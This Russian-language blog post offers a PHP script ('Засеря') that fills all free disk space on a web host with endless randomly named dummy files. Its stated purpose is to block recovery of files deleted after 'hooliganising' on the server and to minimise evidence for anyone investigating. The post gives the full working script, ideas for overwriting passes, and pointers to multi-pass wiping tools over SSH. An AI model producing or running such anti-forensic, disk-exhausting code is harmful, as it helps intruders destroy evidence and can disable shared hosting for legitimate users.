Leon1010

Я в Соц.сетях:

Теги:

Ссылки

Заполняем хостинг файлами

Задача:
Создать PHP скрипт, который заполнит всё свободное пространство на диске хостинга разнообразными файлами и папками. Для того, чтобы сделать невозможным, либо максимально усложнить процесс восстановления удаленных нами ранее оттуда файлов. В общем, затираем следы, после того, как мы там «похулеганили» и минимизируем количество улик.

После долгого гугления, был найден один php скрипт «Засеря».

Запускаем его в папке, у которой можно выставить права на запись и выполнение (chmod 777)

Сам скрипт:

<?php
set_time_limit(0); 
ignore_user_abort(); 
echo("Понеслааась..."); 
///////////////////////////////////////////////////////////////// 
  $name = array('a','b','c','d','e','f','g','h','i','j','k', 'l','m','n','o','p','r','s', 
  't','u','v','x','y','z','A','B','C','D','E','F','G ','H','I','J','K','L', 
  'M','N','O','P','R','S','T','U','V','X','Y','Z','1 ','2','3','4','5','6', 
  '7','8','9','0'); 
////////////////////////////////////////////////////////////////// 
  $rash= array('.txt','.dic','.doc','.xls','.exe','.ini', 
  '.bat','.log','.dll','.hak','.wmf','.zip','.rar', 
  '.tar','.gz','.jpg','.gif','.bmp'); 
///////////////////////////////////////////////////////////////// 
while(true){ 
	$perem = ""; 
	$fuck=""; 
	for($i = 0; $i < rand(20,1); $i++){ // количество сиволов в имени файла. 
		$by = rand(0, count($name) - 1); 
		$perem .= $name[$by]; 
	} 
	$ra=rand(0, count($rash)-1); 
	$fuck.= $rash[$ra]; 
	$fp=fopen($perem.$fuck,"w"); 
	fwrite($fp,php_uname()); 
	fclose($fp); 
}
?>

Наблюдаем за все больше растущим количеством файлов и радуемся…

В идеале, конечно, доработать его следующим функционалом:
— Научить его создавать файлы разного объема с беспорядочным содержимым внутри. Белый шум и ему подобные источники идеально бы сюда вписались.
— Научить его перезаписывать созданные файлы указанное количество раз.

P.S. Скрипт следует использовать только в том случае, когда у вас нет другого доступа к серверу, кроме как фтп. Если есть доступ к SSH, то используют уже готовые утилиты, которые удаляют все данные с сервера в несколько проходов.
P.S.S. Конечно он не сотрет логи сервера, которые зафиксировали что вы ранее записывали файлы с таким-то именем на сервер. Этот скрипт поможет вам только в том случае, когда в ваших файлах, которые вы уже удалили, содержалась информация, которая не должна попасть в поле зрения тех лиц, которые могут вами заинтересоваться. Так-же он не защитит вас, если на сервере создавались бэкапы и у вас нет к ним доступа.

Запись опубликована в рубрике Кодинг с метками , .